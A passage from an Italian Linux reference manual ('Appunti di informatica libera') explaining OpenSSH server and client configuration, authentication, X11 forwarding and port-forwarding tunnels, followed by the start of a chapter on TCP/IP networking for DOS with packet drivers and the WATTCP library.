211 OpenSSH 2195 command="ls",no-port-forwarding,no-pty Chi tenta di accedere utilizzando questa chiave, ottiene semplicemente l esecuzione del comando ls ; inoltre, per sicurezza viene impedito l inoltro del TCP/IP e l allocazione di uno pseudo TTY Autenticazione normale Quando OpenSSH non è in grado di eseguire alcun altro tipo di autenticazione, ripiega nell uso del sistema tradizionale, in cui viene richiesta la parola d ordine abbinata al nominativo-utente con cui si vuole accedere. Ciò rappresenta anche l utilizzo normale di OpenSSH, il cui scopo principale è quello di garantire la sicurezza della connessione attraverso la cifratura e il riconoscimento del servente. Infatti, per ottenere questo livello di funzionamento, è sufficiente che nel servente venga definita la chiave, attraverso i file /etc/ssh/ssh_host_key e /etc/ssh/ssh_host_key.pub, mentre nei clienti non serve nulla, a parte l installazione di OpenSSH. Quando un utente si connette per la prima volta a un servente determinato, da un cliente particolare, la chiave pubblica di quel servente viene annotata automaticamente nel file ~/.ssh/ known_hosts, permettendo il controllo successivo su quel servente. Quindi, attraverso l autenticazione normale, tutti i problemi legati alla registrazione delle varie chiavi pubbliche vengono risolti in modo automatico e quasi trasparente Servente OpenSSH Il servizio di OpenSSH viene offerto tramite un demone, il programma sshd, che deve essere avviato durante l inizializzazione del sistema, oppure, se compilato con le opzioni necessarie, può essere messo sotto il controllo del supervisore dei servizi di rete. Generalmente si preferisce avviare sshd in modo indipendente dal supervisore dei servizi di rete, perché a ogni avvio richiede un po di tempo per la generazione di chiavi aggiuntive utilizzate per la cifratura. La sintassi per l utilizzo di questo demone si può riassumere semplicemente nel modello seguente: sshd [opzioni] sshd, una volta avviato e dopo aver letto la sua configurazione, si comporta in maniera un po diversa, a seconda che sia stato abilitato l uso della versione 1 o 2 del protocollo SECSH. In generale, quando un cliente si connette, sshd avvia una copia di se stesso per la nuova connessione, quindi, attraverso la chiave pubblica del servente inizia una sorta di negoziazione che porta alla definizione di un algoritmo crittografico da usare e di una chiave simmetrica che viene scambiata tra le parti, sempre in modo cifrato. Successivamente, si passa alla fase di autenticazione dell utente, secondo uno dei vari metodi già descritti, in base a quanto stabilito nella configurazione di sshd. Infine, il cliente richiede l avvio di una shell o di un altro comando. OpenSSH ignora il file /etc/securetty, per cui gli accessi dell utente root possono essere regolati solo attraverso la configurazione del file /etc/ssh/sshd_config.

212 2196 OpenSSH Vengono descritte alcune opzioni di sshd :

213 OpenSSH f file_di_configurazione -h file_della_chiave_dell host -d -e Permette di fare utilizzare a sshd un file di configurazione differente da quello standard, ovvero /etc/ssh/ sshd_config. Permette di fare utilizzare a sshd una chiave del nodo diversa da quella contenuta nel file standard. Si deve indicare solo il nome della chiave privata, intendendo che il nome del file contenente la chiave pubblica si ottiene con l aggiunta dell estensione.pub. Fa sì che sshd funzioni in primo piano, allo scopo di seguire una sola connessione per verificarne il funzionamento. Si usa in abbinamento con -d, per ottenere le informazioni diagnostiche attraverso lo standard error. Il file di configurazione /etc/ssh/sshd_config permette di definire il comportamento di sshd. Il file può contenere righe di commento, evidenziate dal simbolo # iniziale, righe vuote (che vengono ignorate) e righe contenenti direttive, composte da coppie nome valore, spaziate, senza alcun simbolo di assegnamento. Quello che segue è un file /etc/ssh/sshd_config tipico, adatto per le due versioni del protocollo SSH, in modo simultaneo: # La porta usata per ricevere le richieste di comunicazione Port 22 # Direttive per restringere l accessibilità del servizio #ListenAddress :: #ListenAddress # Definizione delle versioni del protocollo utilizzabili Protocol 2,1 # Collocazione della coppia di chiavi per il protocollo 1 HostKey /etc/ssh/ssh_host_key # Collocazione delle coppie di chiavi per il protocollo 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key # Durata di validità per la chiave generata automaticamente per la versione 1 KeyRegenerationInterval 3600 ServerKeyBits 768 # Livello di informazioni nel registro SyslogFacility AUTH LogLevel INFO # Autenticazione LoginGraceTime 600 PermitRootLogin yes StrictModes yes RSAAuthentication yes PubkeyAuthentication yes #AuthorizedKeysFile %h/.ssh/authorized_keys # Disabilita l autenticazione RHOSTS e la sua combinazione con # il sistema della chiave pubblica RhostsAuthentication no IgnoreRhosts yes RhostsRSAAuthentication no HostbasedAuthentication no IgnoreUserKnownHosts yes

214 2198 OpenSSH # Non consente l uso di parole d ordine vuote PermitEmptyPasswords no # Uncomment to disable s/key passwords #ChallengeResponseAuthentication no # Consente l autenticazione basata sul riconoscimento della parola d ordine PasswordAuthentication yes # Use PAM authentication via keyboard-interactive so PAM modules can # properly interface with the user PAMAuthenticationViaKbdInt yes # To change Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #AFSTokenPassing no #KerberosTicketCleanup no # Kerberos TGT Passing does only work with the AFS kaserver #KerberosTgtPassing yes X11Forwarding no X11DisplayOffset 10 PrintMotd no #PrintLastLog no KeepAlive yes #UseLogin no #MaxStartups 10:30:60 #Banner /etc/issue.net #ReverseMappingCheck yes Subsystem sftp /usr/lib/sftp-server Si osservi che i nomi usati nelle direttive sono sensibili alla differenza tra maiuscole e minuscole. Segue la descrizione di alcune direttive di configurazione. Protocol n[,m]... AllowUsers modello... Deny modello... HostKey file LoginGraceTime durata PasswordAuthentication {yes no} PermitEmptyPasswords {yes no} Consente di indicare quali versioni del protocollo SECSH utilizzare. Queste due direttive permettono di definire uno o più modelli (attraverso l uso dei caratteri jolly * e? ) riferiti a nomi di utenti a cui si intende concedere, oppure vietare l accesso. Se queste direttive non vengono usate, si concede a qualunque utente di accedere. Questa direttiva può essere usata anche più volte, per indicare i file contenenti le chiavi private del nodo. L utilizzo multiplo della direttiva serve proprio per indicare chiavi diverse, adatte ai diversi protocolli. Permette di stabilire il tempo massimo concesso per completare la procedura di accesso. Il valore predefinito è di 600 s, pari a 10 minuti. Stabilisce se l autenticazione attraverso la parola d ordine è consentita oppure no. Il valore predefinito è yes, cosa che permette questo tipo di autenticazione. Se l autenticazione attraverso una parola d ordine è consentita, permette di stabilire se sono ammesse le parole d ordine nulle. Il valore predefinito è yes.

215 OpenSSH 2199 PermitRootLogin {yes without-password forced-commands-only no} IgnoreRhosts {yes no} RhostsAuthentication {yes no} RhostsRSAAuthentication {yes no} HostbasedAuthentication {yes no} IgnoreUserKnownHosts {yes no} RSAAuthentication {yes no} PubkeyAuthentication {yes no} StrictModes {yes no} Permette di abilitare o meno l accesso da parte dell utente root. Il valore predefinito è yes che consente questo accesso in qualunque forma di autenticazione, no lo esclude in ogni caso, mentre without-password esclude solo la forma di autenticazione attraverso una parola d ordine e forced-commands-only consente di eseguire solo dei comandi remoti, sempre escludendo l autenticazione basata sulla parola d ordine. Permette di ignorare i file ~/.rhosts e ~/.shosts, mentre, per quanto riguarda questa direttiva, i file /etc/ hosts.equiv e /etc/shosts.equiv continuano a essere presi in considerazione. Il valore predefinito è no. Permette di abilitare o meno l autenticazione RHOST, cioè quella basata esclusivamente sui file /etc/hosts.equiv (o /etc/shosts.equiv ) ed eventualmente ~/.rhosts (o ~/.shosts ). Per motivi di sicurezza, il valore predefinito è no, per non autorizzare questa forma di autenticazione. Permette di abilitare o meno l autenticazione RHOST sommata al riconoscimento della chiave pubblica, per il protocollo della versione 1. Il valore predefinito è no, per non autorizzare questa forma di autenticazione. Permette di abilitare o meno l autenticazione RHOST sommata al riconoscimento della chiave pubblica, per il protocollo della versione 2. Il valore predefinito è no, per non autorizzare questa forma di autenticazione. Permette di ignorare i file ~/.ssh/known_hosts degli utenti, durante l autenticazione basata su RHOST sommata al riconoscimento della chiave pubblica. Il valore predefinito è no, con il quale i file in questione vengono letti regolarmente. Permette di abilitare o meno l autenticazione basata sulle chiavi di ogni singolo utente, per quanto riguarda la versione 1 del protocollo. Il valore predefinito è no, che esclude questa forma di autenticazione. Permette di abilitare o meno l autenticazione basata sulle chiavi di ogni singolo utente, per quanto riguarda la versione 2 del protocollo. Il valore predefinito è yes, che consente questa forma di autenticazione. Se attivato, fa in modo che sshd verifichi la proprietà dei file di configurazione nelle directory personali degli utenti, rifiutando di considerare i file appartenenti a utenti «sbagliati» o con permessi non appropriati. Ciò permette di ridurre i rischi di intrusione e alterazione della configurazione da parte di terzi che potrebbero sfruttare le dimenticanze degli utenti inesperti per sostituirsi a loro. Il valore predefinito è yes Cliente OpenSSH Il programma usato come cliente per le connessioni con OpenSSH è ssh, il quale emula il comportamento del suo predecessore, rsh, almeno per ciò che riguarda la sintassi fondamentale. A fianco di ssh c è anche scp, che comunque si avvale del primo, per facilitare le operazioni di copia tra elaboratori.

216 2200 OpenSSH ssh richiede una configurazione che può essere fornita in modo globale a tutto il sistema, attraverso il file /etc/ssh/ssh_config e in modo particolare per ogni utente, attraverso il file ~/.ssh/config. Il modello sintattico per l utilizzo di ssh, si esprime semplicemente nel modo seguente: ssh [opzioni] host [comando] L utente può essere riconosciuto nel sistema remoto attraverso uno tra diversi tipi di autenticazione, a seconda delle reciproche configurazioni; al termine dell autenticazione, l utente ottiene una shell oppure l esecuzione del comando fornito come ultimo argomento (come si vede dalla sintassi). Segue l elenco di alcune opzioni di uso più frequente. Permette di richiedere l accesso utilizzando il nominativoutente indicato nell argomento. Diversamente, si intende accedere con lo stesso nominativo usato nel cliente dal quale si -l utente utilizza ssh. Permette di fare utilizzare a ssh una chiave di identificazione personale diversa da quella contenuta nel file standard, ovvero ~/.ssh/id -i file_di_identificazione * (e poi anche ~/.ssh/id *.pub ). Si deve indicare solo il nome della chiave privata, intendendo che il nome del file contenente la chiave pubblica si ottiene con l aggiunta dell estensione.pub. -1 Richiede espressamente l uso del protocollo nella versione Richiede espressamente l uso del protocollo nella versione Utilizza indirizzi IPv4. -6 Utilizza indirizzi IPv6. Seguono alcuni esempi di utilizzo di ssh. $ ssh -l tizio roggen.brot.dg $ ssh -l tizio roggen.brot.dg ls -l /tmp $ ssh -l tizio roggen.brot.dg tar czf - /home/tizio > backup.tar.gz Accede all elaboratore roggen.brot.dg, utilizzando lì il nominativo-utente tizio. Esegue il comando ls -l /tmp nell elaboratore roggen.brot.dg, utilizzando lì il nominativo-utente tizio. Esegue la copia di sicurezza, con l ausilio di tar e gzip ( tar con l opzione z ), della directory personale dell utente tizio nell elaboratore remoto. L operazione genera il file backup.tar.gz nella directory corrente dell elaboratore locale. A proposito dell esempio con cui si esegue una copia di sicurezza attraverso la rete, è bene sottolineare che il file generato, contiene dei caratteri aggiuntivi oltre la fine del file. Ciò può causare delle segnalazioni di errore quando si estrae il file compresso, ma il contenuto dell archivio dovrebbe risultare intatto. La configurazione di ssh può essere gestita globalmente attraverso il file /etc/ssh/ ssh_config e singolarmente attraverso ~/.ssh/config. Il file può contenere righe di commento, evidenziate dal simbolo # iniziale, righe vuote (che vengono ignorate) e righe contenenti direttive, composte da coppie nome valore, oppure nome =valore.

217 OpenSSH 2201 In questi file di configurazione possono essere distinte diverse sezioni, riferite a gruppi di nodi. Ciò si ottiene attraverso la direttiva Host modelli, in cui, anche attraverso i caratteri jolly * e?, si indicano i nodi a cui sono riferite le direttive successive, fino alla prossima direttiva Host. Quello che segue è il file /etc/ssh/ssh_config tipico, tutto commentato, ma utile ugualmente per comprenderne il funzionamento. # Host * # ForwardAgent no # ForwardX11 no # RhostsAuthentication no # RhostsRSAAuthentication yes # RSAAuthentication yes # PasswordAuthentication yes # FallBackToRsh no # UseRsh no # BatchMode no # CheckHostIP yes # StrictHostKeyChecking yes # IdentityFile ~/.ssh/identity # IdentityFile ~/.ssh/id_dsa # IdentityFile ~/.ssh/id_rsa # Port 22 # Protocol 2,1 # Cipher blowfish # EscapeChar ~ Anche in questo caso, si deve ricordare che i nomi usati nelle direttive sono sensibili alla differenza tra maiuscole e minuscole. Segue la descrizione di alcune direttive. Cipher {des 3des blowfish none} Ciphers tipo_cifratura [,tipo_cifratura]... Compression {yes no} IdentityFile file Protocol n[,m]... RhostsAuthentication {yes no} Permette di indicare il tipo di cifratura preferita per il protocollo della versione 1. Se si specifica il tipo none si intende di non volere alcun tipo di cifratura, cosa utile solo a scopo di analisi diagnostica. Consente di indicare un elenco di cifrature utilizzabili per il protocollo della versione 2. Se attivato, permette di utilizzare una comunicazione di dati compressa, in modo da migliorare il rendimento di una connessione lenta. Il valore predefinito è no. Permette di indicare il file contenente la chiave privata dell utente, in alternativa a quello standard. Questa direttiva si può usare anche più volte, per fare riferimento a coppie di chiavi distinte per i vari tipi di protocolli. RhostsRSAAuthentication {yes no} RSAAuthentication {yes no} Queste direttive hanno lo stesso significato e utilizzo di quelle corrispondenti alla configurazione del servente. PubkeyAuthentication {yes no} PasswordAuthentication {yes no}

218 2202 OpenSSH StrictHostKeyChecking {yes no ask} User utente Se attivato, fa in modo che le chiavi pubbliche dei serventi contattati non possano essere aggiunte automaticamente nell elenco personale, il file ~/.ssh/known_hosts, impedendo la connessione a nodi sconosciuti o irriconoscibili. Il valore predefinito è ask, con cui si chiede all utente come comportarsi. Permette di indicare l utente da utilizzare nella connessione remota. Ciò è particolarmente utile nella configurazione personalizzata, in cui si potrebbe specificare l utente giusto per ogni nodo presso cui si ha accesso. Per copiare dei file in modo cifrato, si può usare scp, che ovviamente si avvale di ssh in modo trasparente: scp [opzioni] Il principio di funzionamento è lo stesso della copia normale, con la differenza che i percorsi per identificare i file e le directory, sono composti con l indicazione dell utente e del nodo. Vengono descritte alcune opzioni: -p fa in modo che gli attributi originali dei file vengano rispettati il più possibile nella copia; -r permette la copia ricorsiva delle directory; -1 richiede espressamente l uso del protocollo nella versione 1; -2 richiede espressamente l uso del protocollo nella versione 2; -4 utilizza indirizzi IPv4; -6 utilizza indirizzi IPv6. Seguono alcuni esempi. $ scp [email protected]:/etc/profile. $ scp -r [email protected]:/home/tizio/. Copia il file /etc/profile dall elaboratore roggen.brot.dg utilizzando il nominativo-utente tizio, nella directory corrente dell elaboratore locale. Copia tutta la directory /home/ tizio/ dall elaboratore roggen.brot.dg utilizzando il nominativo-utente tizio, nella directory corrente dell elaboratore locale Verifica del funzionamento di un servente OpenSSH In condizioni normali, la configurazione tipica di OpenSSH consente delle connessioni dove il riconoscimento degli utenti avviene attraverso l inserimento della parola d ordine. Per ragioni di sicurezza, le forme di autenticazione «RHOST», ovvero quelle basate sull uso dei file /etc/ hosts.equiv, /etc/shosts.equiv, ~/.rhosts e ~/.shosts, sono disabilitate. Di solito, l autenticazione basata sulla verifica della chiave pubblica è abilitata, ma si richiede che i permessi e la proprietà dei file relativi siano coerenti per il contesto a cui si riferiscono. In generale, è bene evitare le forme di autenticazione RHOST, anche quando sono mediate dal riconoscimento concorrente della chiave pubblica; pertanto, se è necessario accedere senza l in-

219 OpenSSH 2203 dicazione di una parola d ordine, il modo più corretto rimane quello del riconoscimento della chiave, senza altre interferenze. Spesso, quando si cerca di realizzare una connessione senza bisogno di inserire la parola d ordine, si incappa in qualche problema che impedisce di ottenere il risultato. Per scoprire dove sia il problema, è necessario avviare il demone sshd in modalità diagnostica, per seguire una connessione singola e vedere cosa succede veramente: # sshd -e -d 2>&1 less All avvio, ciò che si ottiene sono i messaggi relativi allo stato della configurazione. Per esempio: debug1: Seeding random number generator debug1: sshd version OpenSSH_3.0.2p1 Debian 1:3.0.2p1-9 debug1: private host key: #0 type 0 RSA1 debug1: read PEM private key done: type RSA debug1: private host key: #1 type 1 RSA debug1: read PEM private key done: type DSA debug1: private host key: #2 type 2 DSA debug1: Bind to port 22 on Server listening on port 22. Generating 768 bit RSA key. RSA key generation complete. Se dal nodo dinkel.brot.dg l utente tizio tenta di collegarsi, si può leggere, in particolare, l estratto seguente: Connection from port debug1: trying public key file /home/tizio/.ssh/authorized_keys debug1: matching key found: file /home/tizio/.ssh/authorized_keys, line 3... debug1: ssh_rsa_verify: signature correct Accepted publickey for tizio from port ssh2 debug1: Entering interactive session for SSH2. In questo caso si evidenzia un autenticazione basata sul riconoscimento della chiave pubblica. Ecco cosa potrebbe succedere invece se i permessi non vengono ritenuti adeguati: debug1: trying public key file /home/tizio/.ssh/authorized_keys Authentication refused: bad ownership or modes for directory /home/tizio In questo caso, l autenticazione basata sul riconoscimento della chiave pubblica, non funziona perché la directory personale dell utente consente la scrittura al gruppo, pertanto si ricade nella solita autenticazione per mezzo della parola d ordine X in un tunnel OpenSSH OpenSSH è configurato in modo predefinito per gestire automaticamente le connessioni di X. Per comprenderlo è meglio fare subito un esempio pratico. Si immagini di avere avviato X sul proprio elaboratore locale e di avere aperto una finestra di terminale con la quale si effettua una connessione presso un sistema remoto, attraverso ssh. Dopo avere stabilito la connessione, si vuole avviare su quel sistema un programma che utilizza il servente grafico locale: basta avviarlo e tutto funzionerà, semplicemente, all interno di un tunnel cifrato di OpenSSH.

220 2204 OpenSSH Attività svolta da OpenSSH Il meccanismo attuato da OpenSSH per arrivare a questo risultato è molto complesso, garantendo il funzionamento della connessione anche se le autorizzazioni per l accesso al servente grafico locale non erano state concesse al sistema remoto. Nel momento in cui si accede al sistema remoto attraverso ssh da una finestra di terminale di X, la controparte nel sistema remoto, cioè sshd, genera o aggiorna il file ~/.Xauthority nel profilo personale dell utente utilizzato per accedere, attraverso il proprio canale privilegiato. Se dopo la connessione si prova a visualizzare il contenuto della variabile DISPLAY, si dovrebbe osservare che viene indicato uno schermo speciale nel sistema remoto. Si osservi l esempio: [email protected]:~$ ssh -l caio roggen.brot.dg[ Invio ] caio s password: *****[ Invio ] In questo modo, l utente tizio che si trova presso il nodo dinkel.brot.dg, cerca di accedere a roggen.brot.dg, utilizzando lì il nominativo-utente caio. La prima volta che lo fa ottiene la creazione del file ~/.Xauthority nel sistema remoto, come mostrato qui sotto. /usr/x11/bin/xauth: creating new authority file /home/caio/.xauthority [email protected]:~$ echo $DISPLAY roggen.brot.dg:10.0 Contrariamente al solito, lo schermo sembra essere collocato presso il sistema remoto, proprio perché è OpenSSH a gestire tutto. In questo modo però, non contano più le autorizzazioni o i divieti fatti attraverso la gestione normale di X. Inoltre, dal momento che la connessione di X è incapsulata nel protocollo SECSH, non valgono più eventuali restrizioni poste nei router per impedire l utilizzo di tale protocollo Risvolti sulla sicurezza La connessione instaurata attraverso OpenSSH garantisce che la comunicazione riferita alla gestione del servente grafico sia protetta, risolvendo la maggior parte dei problemi di sicurezza derivati dall uso di X attraverso la rete. Tuttavia, questo non garantisce che il sistema sia completamente sicuro, dal momento che un aggressore potrebbe collocarsi nel nodo remoto e da lì sfruttare il tunnel predisposto proprio da OpenSSH, come documentato in The interaction between SSH and X11. A questo punto, si potrebbe ritenere conveniente di vietare in ogni caso l utilizzo delle applicazioni per X attraverso la rete, ma dal momento che OpenSSH scavalca i sistemi tradizionali, occorre configurare proprio OpenSSH per questo. In generale, se è questa l intenzione, si agisce nel file /etc/ssh/sshd_config, con la direttiva X11Forwarding, in modo che sshd non si presti alla gestione di X nel modo descritto. X11Forwarding no Eventualmente, lo stesso utente può impedirsi di usare X attraverso OpenSSH, intervenendo nel file ~/.ssh/config con la direttiva ForwardX11. ForwardX11 no

221 OpenSSH Creazione di un tunnel cifrato generico con OpenSSH Il cliente OpenSSH è in grado di realizzare un tunnel cifrato tra due elaboratori, attraverso una tecnica chiamata port forwarding. In pratica, con questa tecnica, si apre una connessione SECSH normale, con o senza l attivazione di una shell remota, nella quale si inserisce una comunicazione aggiuntiva che collega una porta remota con una porta locale. L esempio seguente dovrebbe servire per comprendere la tecnica: 1. [email protected]:~$ ssh -N -L 9090:dinkel.brot.dg:80 [email protected][ Invio ] l utente tizio presso l elaboratore roggen.brot.dg si collega all elaboratore dinkel.brot.dg, con l utenza caio, per aprire un tunnel tra dinkel.brot.dg:80 e roggen.brot.dg:9090; 2. [ Ctrl+z ] [email protected]:~$ bg[ Invio ] dopo essersi identificato presso l elaboratore remoto, sospende l esecuzione del programma e quindi lo riattiva sullo sfondo; 3. [email protected]:~$ links Invio ] A questo punto si può visitare il sito utilizzando invece l indirizzo garantendo che la comunicazione tra l elaboratore locale (roggen.brot.dg) e dinkel.brot.dg avvenga in modo cifrato. Tabella Opzioni di ssh specifiche per la realizzazione di un tunnel tra l elaboratore locale e un nodo remoto, che disponga anche di un servente OpenSSH attivo. Opzione Descrizione -N Non esegue un comando presso l elaboratore remoto. Apre la porta locale indicata e ritrasmette le comunicazioni con questa porta alla porta remota dell elaboratore remoto indicato. Se si apre localmente una porta privilegiata, occorre -L porta_locale:nodo_remoto :porta_remota -L porta_locale/nodo_remoto /porta_remota agire in qualità di utente root nell elaboratore locale. La prima notazione riguarda IPv4, mentre la seconda riguarda IPv6. Apre la porta remota indicata e ritrasmette le comunicazioni -R porta_remota:nodo_locale:porta_localecon questa porta alla porta locale dell elaboratore locale indicato. Se si apre una porta privilegiata remota, occorre agire -R porta_remota/nodo_locale/porta_localein qualità di utente root nell elaboratore remoto. La prima notazione riguarda IPv4, mentre la seconda riguarda IPv Installazione OpenSSH non è inclusa in tutte le distribuzioni GNU/Linux, a causa delle norme sulle limitazioni all esportazione dei sistemi di cifratura diffuse in vari paesi, in particolare negli Stati Uniti. In ogni caso, l installazione di OpenSSH è semplice: si deve predisporre la chiave del nodo, come già descritto più volte; quindi, se si vogliono accettare connessioni, basta avviare il demone sshd, possibilmente attraverso uno script della procedura di inizializzazione del sistema.

222 2206 OpenSSH La configurazione è facoltativa e deve essere fatta solo se si desiderano inserire forme particolari di limitazioni (come nel caso del divieto dell inoltro di X), oppure se si vuole concedere l autenticazione RHOST (cosa che è meglio non fare). Alcune versioni precompilate di OpenSSH sono organizzate in modo da utilizzare la directory /etc/ssh/ per il file di configurazione del sistema (come è stato mostrato qui); altre mettono direttamente tali file nella directory /etc/ Riferimenti OpenSSH < Pagine di riferimenti a lavori attorno al protocollo SECSH: < < SSH Secure Shell < Replay Associates, L.L.P. < Ulrich Flegel, The interaction between SSH and X11, thoughts on the security of the Secure Shell, 1997 <ftp://ftp.cert.dfn.de/pub/docs/crypt/ssh-x11.ps.gz> Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

223 Parte xxxviii Connettività con sistemi Dos 203 Dos IPv Driver di pacchetto Libreria WATTCP Applicazioni standard per WATTCP ABC-nslookup MiniTelnet SSHDOS Bobcat (Lynx) PPRD: servente di rete per la stampa Trout Talk DosLynx NCSA Telnet POPMail PCroute Riferimenti Dos PPP Composizione Configurazione e script Connessione in pratica Introduzione a NOS-KA9Q -- IPv4 per Dos Preparazione Interfacce, instradamento e nomi Gestione delle sessioni Attività nel sistema locale Gestione della rete e delle connessioni NOS come cliente NOS come servente NOS come router IPv

224 Dos IPv4 Capitolo 203 Come sistema operativo libero, GNU/Linux costituisce la scelta ottimale, se non altro dal punto di vista economico, per la realizzazione di reti locali. Ma anche il recupero di vecchia tecnologia può essere di grande aiuto. Il vecchio hardware basato su i286 può essere introdotto in una rete TCP/IP per servizi classici quali TELNET, FTP e altro. È da tenere presente che è in corso la realizzazione del progetto FreeDOS che potrebbe giustificare ancora meglio questo tipo di ragionamento (< Negli esempi che appaiono nelle sezioni che seguono si immagina di avere una piccola rete locale con due elaboratori dinkel.brot.dg, sistema GNU, con funzionalità di router e di servente DNS; dos.brot.dg con il sistema Dos. Il secondo elaboratore è quello che si vuole utilizzare con i programmi Dos descritti in questo capitolo. Per quanto riguarda il caso particolare del programma PCroute, verranno mostrati esempi con dati differenti. Prima di proseguire, è importante evitare di farsi illusioni: si tratta di programmi molto deboli, utili solo per IPv4 e a volte incapaci di attraversare i router Driver di pacchetto Per poter comunicare attraverso un elaboratore con sistema operativo Dos in una rete TCP/IP occorre un cosiddetto driver di pacchetto (packet driver), ovvero un driver software in grado di fornire un minimo servizio basato sul protocollo IP. La raccolta di driver di pacchetto più comune è quella della Crynwr 1 (< I programmi che si intendono utilizzare devono essere predisposti per il tipo di driver di pacchetto a disposizione. Una raccolta di driver di pacchetto organizzata da Crynwr, può essere ottenuta presso Simtel.Net (la nota distribuzione di software shareware e freeware per Dos e MS-Windows) all indirizzo <ftp://ftp.simtel.net/pub/simtelnet/msdos/pktdrvr/pktd11.zip>. All interno della raccolta si può trovare un lungo elenco di driver per vari modelli di schede di rete Ethernet. In particolare, vale la pena di soffermarsi sui driver per le schede Ethernet NE2000 e per la connessione PLIP attraverso la porta parallela. NE2000.COM Si tratta del driver adatto per la connessione attraverso schede Ethernet compatibili NE2000. Questo programma deve essere avviato con i parametri necessari per poter comunicare con la scheda di rete e con le applicazioni. NE2000.COM [opzioni] [irq_software] [irq_della_scheda] [i/o_della_scheda] 1 Crynwr packet driver collection GNU GPL 2208

225 Dos IPv Le schede NE2000 vengono configurate, attraverso ponticelli o software di configurazione, predisponendo un IRQ e un indirizzo di I/O. Oltre a queste indicazioni, è necessario specificare un indirizzo IRQ aggiuntivo che viene utilizzato per la comunicazione tra i programmi e il driver stesso. La scelta di questo IRQ software è la parte più delicata. L indirizzo 7E 16 dovrebbe andare bene. Supponendo di avere installato una scheda configurata con IRQ 11 (0B 16 ) e indirizzo di I/O , si dovrà avviare il driver nel modo seguente: NE2000.COM 0x7e 0x0b 0x300 È opportuno aggiungere questa riga all interno del file AUTOEXEC.BAT. PLIP.COM Si tratta del driver adatto per la connessione attraverso la porta parallela con un cavo PLIP. Questo programma deve essere avviato con i parametri necessari per poter comunicare con la scheda di rete e con le applicazioni. PLIP.COM [opzioni] [irq_software] [irq_della_porta] [i/o_della_porta] Come nel caso delle schede NE2000, è necessario specificare un indirizzo IRQ aggiuntivo che viene utilizzato per la comunicazione tra i programmi e il driver stesso. L indirizzo 7E 16 dovrebbe andare bene. Supponendo di avere a disposizione una porta parallela che utilizza IRQ 7 (07 16 ) e indirizzo di I/O , si dovrà avviare il driver nel modo seguente: PLIP.COM 0x7e 0x07 0x378 È opportuno aggiungere questa riga all interno del file AUTOEXEC.BAT. I driver di pacchetto Crynwr e altri simili, possono essere rimossi dalla memoria residente attraverso un programma speciale che accompagna la raccolta stessa. Si tratta di TERMIN.COM che richiede soltanto l indicazione dell indirizzo IRQ software con il quale è stato installato il driver: TERMIN.COM irq_software Per esempio, per eliminare il driver installato utilizzando l indirizzo 7E 16, viene eliminato dalla memoria residente con il comando seguente: TERMIN.COM 0x7e Libreria WATTCP WATTCP 2 (University of Waterlo TCP) è una libreria utilizzata da alcuni programmi per accedere alle funzionalità TCP/IP. Di conseguenza, questi programmi hanno in comune lo stesso tipo di file di configurazione, che normalmente è denominato WATTCP.CFG. Generalmente, questi programmi incorporano completamente il codice della libreria WATT- CP, pertanto, i programmi sono autonomi, ma possono usare in comune lo stesso file di configurazione. Questo file si compone di direttive molto semplici, in cui si assegna idealmente un valore a una variabile: variabile_di_configurazione = valore In generale, viene definito l indirizzo IP, il nome corrispondente e la maschera di rete (o della sottorete), come si vede nell esempio seguente: 2 WATTCP software non libero: non è consentita la distribuzione di versioni modificate e non è consentita la commercializzazione

226 2210 Dos IPv4 HOSTNAME = dos MY_IP = NETMASK = Inoltre, di solito si indicano anche i serventi DNS, 3 il nome del proprio dominio e il router (gateway): GATEWAY = NAMESERVER = DOMAINSLIST = brot.dg Può essere interessante anche la definizione della dimensione massima dei pacchetti (MSS, Max segment size), se per qualche motivo il driver di pacchetto dovesse avere delle limitazioni: MSS = 512 In breve, un esempio completo, senza l indicazione della dimensione massima dei pacchetti: MY_IP = NETMASK = GATEWAY = NAMESERVER = HOSTNAME = dos DOMAINSLIST = brot.dg Alcuni programmi potrebbero richiedere la presenza di una variabile di ambiente che permetta loro di individuare facilmente la collocazione e il nome del file di configurazione. Per esempio, se si tratta del file C:\TCPIP\WATTCP.CFG, potrebbe essere richiesto di includere nel file AUTOEXEC.BAT la riga seguente: SET WATTCP.CFG=\TCPIP I programmi che utilizzano questa libreria, fanno spesso riferimento a file standard dei sistemi Unix, che devono trovare nella directory corrente: HOSTS PROTOCOL SERVICES contiene un elenco di indirizzi IP associati al nome di dominio corrispondente, equivalente al noto /etc/hosts dei sistemi Unix contiene l elenco dei protocolli con i nomi associati, equivalente al noto /etc/ protocols dei sistemi Unix contiene l elenco dei servizi di rete, equivalente al noto /etc/services dei sistemi Unix Applicazioni standard per WATTCP Assieme alla libreria WATTCP, si trovano i sorgenti di alcuni programmi comuni, 4 diffusi in forma binaria in un archivio compresso denominato apps.zip. La tabella seguente ne elenca alcuni: tcpinfo ping host finger rexec host [utente [parola_d ordine]] comando mostra le informazioni tratte dal file di configurazione wattcp.cfg, consentendone il controllo; esegue una richiesta di eco ICMP verso il nodo indicato; richiede le informazioni disponibili sugli utenti del nodo indicato; esegue un comando remoto attraverso il protocollo RSH; 3 Per indicare più serventi DNS, è sufficiente usare la direttiva NAMESERVER ripetutamente. 4 WATTCP apps software non libero: non può essere commercializzato

227 Dos IPv lpr [coda] host file lpq -Pcoda -Shost ftp invia un file alla stampante remota; interroga la coda di una stampante remota; richiede l instaurazione di un collegamento FTP con il nodo indicato; ABC-nslookup ABC-nslookup 5 consente l interrogazione di un servizio DNS. Si tratta di un programma molto semplice che utilizza la libreria WATTCP e anche la libreria ABC, ma la seconda richiede la preparazione di altri file; in particolare, per ciò che riguarda ABC-nslookup, è necessario predisporre un file contenente l elenco dei serventi DNS a disposizione. Il pacchetto originale del programma, corrispondente al file nslb01a.zip, include una sottodirectory che dovrebbe essere riprodotta tale e quale nella radice del disco: \ETC\. Questa directory contiene in particolare il file RESOLV.CNF, che corrisponde in pratica al file /etc/ resolv.conf dei sistemi Unix. Eventualmente, se si desidera collocare questi file in una posizione diversa, basta definire la variabile di ambiente ABCETCDIR ; per esempio, si può scrivere nel file AUTOEXEC.BAT : SET ABCETCDIR=\TCPIP In questo caso, si intende dire che i file di tale directory si trovano invece in \TCPIP\. È la libreria ABC che richiede la presenza di alcuni fine nella directory \ETC\, pertanto è questo il motivo del nome della variabile di ambiente. Il pacchetto si compone di due eseguibili, che cercano il file WATTCP.CFG nella directory corrente, ignorando la variabile di ambiente WATTCP.CFG : NSLOOKUP [host_da_trovare [servente_dns]] NSQUERY [-d] 